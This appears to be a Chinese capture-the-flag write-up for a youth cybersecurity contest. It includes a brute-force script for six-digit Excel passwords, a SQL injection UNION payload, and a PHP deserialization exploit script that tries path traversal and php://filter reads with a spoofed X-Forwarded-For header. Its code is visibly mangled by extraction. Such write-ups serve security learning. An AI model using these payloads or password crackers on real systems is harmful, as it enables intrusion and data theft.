第五届极客少年网络安全挑战赛 WriteUp

本篇是第五届极客少年挑战赛 WriteUp,这比赛是专门针对青少年参加的比赛,下面请看解析

CRYPTO 签到

输入当前日期即可

20250720

 

遗忘密码大救援

import msoffcrypto

import multiprocessing

from tqdm import tqdm

import time

import os

import argparse

from datetime import datetime

from io import BytesIO

import sys

def crack_password(start, end, file_data, result, progress_counter):

“””

尝试指定范围内的密码

“””

#

每个进程使用自己的文件副本

file_buffer = BytesIO(file_data)

 

for num in range(start, end + 1):

password = f”{num:06d}”

 

#

更新进度计数器

if num % 100 == 0: #

100

次更新一次

with progress_counter.get_lock():

progress_counter.value += 100

 

try:

#

每次尝试都创建新的

OfficeFile

对象

file_buffer.seek(0)

file = msoffcrypto.OfficeFile(file_buffer)

file.load_key(password=password)

 

#

验证密码是否真正有效

try:

output = BytesIO()

file.decrypt(output)

result.value = password

return True

except:

#

解密失败,继续尝试

continue

except msoffcrypto.exceptions.InvalidKeyError:

# 密码错误,继续尝试

continue except Exception as e:

# 其他错误

print(f”\n进程错误: {e}”)

return False

 

# 更新剩余进度

remaining = (end – start + 1) % 100 if remaining > 0: with progress_counter.get_lock(): progress_counter.value += remaining

return False

def main():

# 设置参数解析

parser = argparse.ArgumentParser(description=’Excel密码破解工具’)

parser.add_argument(‘file’, help=’要破解的Excel文件路径’)

parser.add_argument(‘-p’, ‘–processes’, type=int, default=0,

help=’指定使用的进程数 (默认: CPU核心数)’)

args = parser.parse_args()

file_path = args.file

 

# 验证文件是否存在

if not os.path.exists(file_path):

print(f”错误: 文件 ‘{file_path}’ 不存在”)

return

 

print(f”开始破解: {file_path}”)

print(f”文件大小: {os.path.getsize(file_path)/1024:.2f} KB”)

print(f”创建时间: {datetime.fromtimestamp(os.path.getctime(file_path))}”)

# 读取文件内容

with open(file_path, “rb”) as f:

file_data = f.read()

 

# 确定进程数

num_cores = multiprocessing.cpu_count() if args.processes > 0 and args.processes <= num_cores * 2:

num_cores = args.processes else:

# 限制 大进程数为CPU核心数的2倍

num_cores = min(num_cores * 2, 64) # 大64个进程

 

print(f”使用 {num_cores} 个进程进行破解”)

 

total_passwords = 1000000 # 000000到999999

 

# 多进程共享变量

manager = multiprocessing.Manager()

result = manager.Value(‘s’, “”) # 存储密码的字符串

progress_counter = multiprocessing.Value(‘i’, 0) # 进度计数器

processes = []

 

# 计算每个进程处理的密码范围

chunk_size = total_passwords // num_cores

ranges = []

for i in range(num_cores):

start = i * chunk_size

end = start + chunk_size – 1

if i == num_cores – 1: # 后一个进程处理剩余部分

end = total_passwords – 1 ranges.append((start, end))

 

# 启动进程

start_time = time.time() for start, end in ranges:

p = multiprocessing.Process(

target=crack_password,

args=(start, end, file_data, result, progress_counter)

) processes.append(p) p.start()

 

# 进度条监控

print(“开始暴力破解…”)

last_progress = 0

speed_samples = [] found_password = False

 

# 创建进度条

pbar = tqdm(total=total_passwords, unit=”密码”,

bar_format=”{l_bar}{bar}| {n_fmt}/{total_fmt} [{elapsed}

<{remaining}]”)

while any(p.is_alive() for p in processes):

time.sleep(0.2) # 避免过于频繁的检查

 

# 获取当前进度

with progress_counter.get_lock(): current_progress = progress_counter.value

 

# 检查是否找到密码

if result.value != “”: found_password = True

break

 

# 更新进度条

if current_progress > last_progress: delta = current_progress – last_progress

pbar.update(delta)

last_progress = current_progress

 

# 计算速度

elapsed = time.time() – start_time if elapsed > 0:

current_speed = current_progress / elapsed speed_samples.append(current_speed)

 

# 计算平均速度(取 近10个样本)

avg_speed = sum(speed_samples[-10:]) / len(speed_samples[-10:])

 

if speed_samples else 0

remaining_time = (total_passwords – current_progress) / avg_speed

 

if avg_speed > 0 else 0

 

pbar.set_description(f”

速度

:

{avg_speed:.0f}

密码

/

“)

pbar.set_postfix_str(f”

预计剩余

:

{remaining_time:.0f

}

“)

 

#

终止所有进程

for p in processes:

if p.is_alive():

p.terminate()

p.join() #

确保进程结束

 

#

关闭进度条

pbar.close()

 

#

输出结果

elapsed_time = time.time() – start_time

 

print(f”\n

总耗时

:

{elapsed_time:.2f

}

“)

print(f”

尝试密码数

:

{current_progress}”

)

 

if elapsed_time > 0:

print(f”

平均速度

:

{current_progress/elapsed_time:.0f}

密码

/

“)

 

if found_password:

#

验证密码有效性

try:

file_buffer = BytesIO(file_data)

file = msoffcrypto.OfficeFile(file_buffer)

file.load_key(password=result.value)

output = BytesIO()

file.decrypt(output)

 

#

验证成功

print(f”\n\033[92m

破解成功

!

 

密码是

:

{result.value}\033[0m”

)

print(“\033[94m

提示

:

 

您可以使用此密码打开

Excel

文件

\033[0m”)

return

except:

print(“\n\033[93m

警告

:

 

密码验证失败,可能是误报

\033[0m”)

 

print(“\n\033[91m

破解失败

:

 

未找到匹配密码

\033[0m”)

print(“\033[93m

提示

:

 

请确认文件使用

6

位数字密码保护

\033[0m”)

if __name__ == “__main__”:

#

Windows

上支持多进程

multiprocessing.freeze_support()

main()

得到密码

第五届极客少年网络安全挑战赛 WriteUp插图

MISC IP去哪儿

打开js文件进行分析

第五届极客少年网络安全挑战赛 WriteUp插图1

得到flag

 

碎片的秘密 写了一个脚本

import os

from PIL import Image

from itertools import permutations

import numpy as np

from pyzbar.pyzbar import decode

#

文件列表

(

文件名

:

 

文件大小

)

files = {

‘Fan.png’: 2194,

‘Kai.png’: 2155,

‘Luo.png’: 1799,

‘Luo2.png’: 1799,

‘Luo3.png’: 1799,

‘Qi.png’: 2047,

‘Wang.png’: 1853,

‘Yi.png’: 2237,

‘Zui.png’: 2437

}

#

创建文件确保运行(实际使用时替换为真实文件)

for fname in files:

if not os.path.exists(fname):

with open(fname, ‘wb’) as f:

f.write(bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])) #

 

PNG header

# 加载所有图片

def load_images(): images = {} for fname in files:

try:

img = Image.open(fname)

images[fname] = img.copy()

img.close() except Exception as e:

print(f”Error loading {fname}: {str(e)}”)

images[fname] = Image.new(‘L’, (50, 50), 255) # 创建空白图片作为备用 return images

# 拼接二维码函数

def assemble_qr(location_assign, non_location_assign): “””

location_assign: 元组 (左上, 右上, 左下) 对应的文件名

non_location_assign: 列表 [ (0,1), (1,0), (1,1), (1,2), (2,1), (2,2) ] 位置的文件名

“””

# 创建3×3网格

grid = [[” for _ in range(3)] for _ in range(3)]

 

# 放置定位符

grid[0][0] = location_assign[0] # 左上

grid[0][2] = location_assign[1] # 右上 grid[2][0] = location_assign[2] # 左下

 

# 放置非定位符 (按固定顺序位置)

positions = [(0,1), (1,0), (1,1), (1,2), (2,1), (2,2)] for idx, pos in enumerate(positions):

i, j = pos

grid[i][j] = non_location_assign[idx]

 

# 获取所有图片尺寸并计算 大尺寸

all_imgs = [img_dict[name] for row in grid for name in row]

widths, heights = zip(*(img.size for img in all_imgs))

max_width = max(widths)

max_height = max(heights)

 

# 创建 终图像

qr_width = max_width * 3

qr_height = max_height * 3

qr_img = Image.new(‘L’, (qr_width, qr_height), 255) # 白色背景

# 粘贴图片到网格

for i in range(3):

for j in range(3):

img = img_dict[grid[i][j]]

# 调整图片到统一尺寸 (居中放置)

new_img = Image.new(‘L’, (max_width, max_height), 255)

x_offset = (max_width – img.width) // 2

y_offset = (max_height – img.height) // 2

new_img.paste(img, (x_offset, y_offset))

 

# 粘贴到二维码大图

qr_img.paste(new_img, (j * max_width, i * max_height))

 

return qr_img

#

扫描二维码函数

def scan_qr(image):

#

转换为灰度图

(

如果还不是

)

if image.mode != ‘L’:

image = image.convert(‘L’)

 

#

尝试扫描

decoded = decode(image)

if decoded:

return decoded[0].data.decode(‘utf-8’)

return None

#

主程序

if __name__ == “__main__”:

#

加载所有图片

img_dict = load_images()

 

#

分离定位符和非定位符

location_imgs = [‘Luo.png’, ‘Luo2.png’, ‘Luo3.png’]

non_location_imgs = [f for f in files.keys() if f not in location_imgs]

 

#

方案

1:

 

非定位符按文件名排序

(

效率优先

)

non_location_sorted = sorted(non_location_imgs) #

字典序

:

Fan, Kai, Qi, Wang,

 

Yi, Zui

found = False

 

#

尝试所有定位符排列组合

(6

)

for loc_perm in permutations(location_imgs):

qr_img = assemble_qr(loc_perm, non_location_sorted)

result = scan_qr(qr_img)

if result:

print(f”Success with sorted non-location images!”)

print(f”QR Code Content: {result}”)

found = True

break

 

#

方案

2:

 

如果方案

1

失败,尝试所有非定位符排列

(720

)

if not found:

print(“Trying all permutations…”)

for loc_perm in permutations(location_imgs):

for non_loc_perm in permutations(non_location_imgs):

qr_img = assemble_qr(loc_perm, non_loc_perm)

result = scan_qr(qr_img)

if result:

print(f”Success with full permutation scan!”)

print(f”QR Code Content: {result}”)

found = True

break

if found:

break

 

#

终结果

if not found:

print(“Error: Failed to reconstruct and scan QR code”)

得到Flag

第五届极客少年网络安全挑战赛 WriteUp插图2

 

太阳神鸟 使用拼接工具拼接

第五届极客少年网络安全挑战赛 WriteUp插图3

 

得到Flag

第五届极客少年网络安全挑战赛 WriteUp插图4

Web

星辰泪的密语

打开了flag.txt 页面 下载下来显示这个

第五届极客少年网络安全挑战赛 WriteUp插图5

猜测为robots.txt文件

第五届极客少年网络安全挑战赛 WriteUp插图6

得到flag

 

字符的叛变

打开网站 提示密码为admin 和admin加数字 输入admin 密码为最常用的admin123

打开页面 使用注入网络’ UNION SELECT 1,flag,3,4,5,6,7,8,9,10,11 FROM flag —

第五届极客少年网络安全挑战赛 WriteUp插图7

得到Flag

 

代码里的毒蛇 python代码如下

import requests

import urllib.parse

import re

import base64

import sys

def generate_case_variations(class_name):

“””

生成类名的大小写变异

“””

variations = set()

for i in range(2 ** len(class_name)):

variation = ”.join(

char.lower() if (i >> j) & 1 else char.upper()

for j, char in enumerate(class_name)

)

variations.add(variation)

return variations

def generate_payload(class_name, file_path):

“””

生成精确的序列化

payload”””

#

动态创建类定义字符串

class_def = f”””class {class_name} {{

public $file = ‘{file_path}’;

public function read() {{

$content = file_get_contents($this->file);

echo $content;

}}

}}”””

 

#

生成

Wrapper

wrapper = f”””class Wrapper {{

public $handler;

public function __destruct() {{

$this->handler->read();

}}

}}”””

 

#

创建对象

obj_creation = f”””

$o = new Wrapper();

$o->handler = new {class_name}();

echo serialize($o);

“””

 

#

完整的

PHP

代码

php_code = f”<?php {class_def}; {wrapper}; {obj_creation} ?>”

return php_code

def exploit():

#

目标

URL

url = “https://scene-b871c1dj27zsicoy-zwebnormal2-80.zhigeng07.toolmao.com/”

 

# 1.

尝试所有可能的类名大小写组合

class_names = generate_case_variations(“FileHandler”)

 

# 2. 文件路径列表

file_paths = [

# 路径

“/tmp/flag”,

“/flag”,

“/home/flag”,

“/var/www/html/flag”,

 

# 相对路径技巧

“tmp/flag”,

“./tmp/flag”,

“../tmp/flag”, “…/./flag”,

 

# 特殊路径

“/proc/self/root/tmp/flag”,

“/proc/self/cwd/../../../../tmp/flag”,

 

# 协议包装器

“php://filter/read=convert.base64-encode/resource=/tmp/flag”,

“file:///tmp/flag”,

“data://text/plain;base64,ZmxhZw==”, # 测试用

]

 

# 3. 构建所有可能的payload组合

payloads = [] for class_name in class_names:

for file_path in file_paths:

php_code = generate_payload(class_name, file_path) payloads.append((class_name, file_path, php_code))

 

# 4. 发送所有payload

for i, (class_name, file_path, php_code) in enumerate(payloads[:50]): # 限制前50个

try:

# 打印当前尝试

print(f”\n[+] 尝试组合 {i+1}/{len(payloads)}”)

print(f”类名: {class_name}”)

print(f”路径: {file_path}”)

print(f”Payload: {php_code[:100]}…”)

 

# 发送请求

response = requests.get(

url, params={“data”: f’O:7:”Wrapper”:1:{{s:7:”handler”;O: {len(class_name)}:”{class_name}”:1:{{s:4:”file”;s:{len(file_path)}:”

{file_path}”;}}}}’},

headers={

“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36”, “X-Forwarded-For”: f”127.0.0.{i % 256}”,

“Accept”: “*/*”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “keep-alive”

}, timeout=15

)

 

#

分析响应

print(f”

状态码

:

{response.status_code}”

)

print(f”

响应长度

:

{len(response.text)}”

)

 

#

检查是否有可用数据

if response.text:

#

尝试

Base64

解码

if len(response.text) % 4 == 0:

try:

decoded = base64.b64decode(response.text).decode(‘utf-8’,

 

‘ignore’)

print(f”[+] Base64

解码内容

:

{decoded[:100]}”

)

if “flag{” in decoded:

return f”

成功获取

Flag: {decoded}”

except:

pass

 

#

直接搜索

Flag

if “flag{” in response.text:

return f”

成功获取

Flag: {re.search(r’flag\{[^}]*\}’,

 

response.text).group(0)}”

 

#

显示响应片段

print(f”

响应内容

:

{response.text[:200]}”

)

 

#

检查错误信息

if ”

文件路径不能以

” in response.text:

print(“[!]

触发路径检查

“)

elif ”

文件路径不能包含

” in response.text:

print(“[!]

触发路径遍历检查

“)

 

except Exception as e:

print(f”[!]

请求失败

:

{str(e)}”

)

#

重试一次

try:

response = requests.get(

url,

params={“data”: f’O:7:”Wrapper”:1:{{s:7:”handler”;O:

{

len(class_name)}:”{class_name}”:1:{{s:4:”file”;s:{len(file_path)}:”

{

file_path}”;}}}}’},

timeout=20

)

if response.text and “flag{” in response.text:

return f”

成功获取

Flag: {re.search(r’flag\{[^}]*\}’,

 

response.text).group(0)}”

except:

pass

 

return ”

所有尝试失败

#

执行利用

result = exploit()

print(“\n” + “=”*50)

print(”

漏洞利用终结果

“)

print(“=”*50)

print(result)

得到flag

第五届极客少年网络安全挑战赛 WriteUp插图8

 

 

© 版权声明
THE END
喜欢就亲吻一下吧
分享
评论 抢沙发
头像
评论一下幻城的文章吧
提交
头像

昵称

取消
昵称代码图片快捷回复
    blank

    暂无评论内容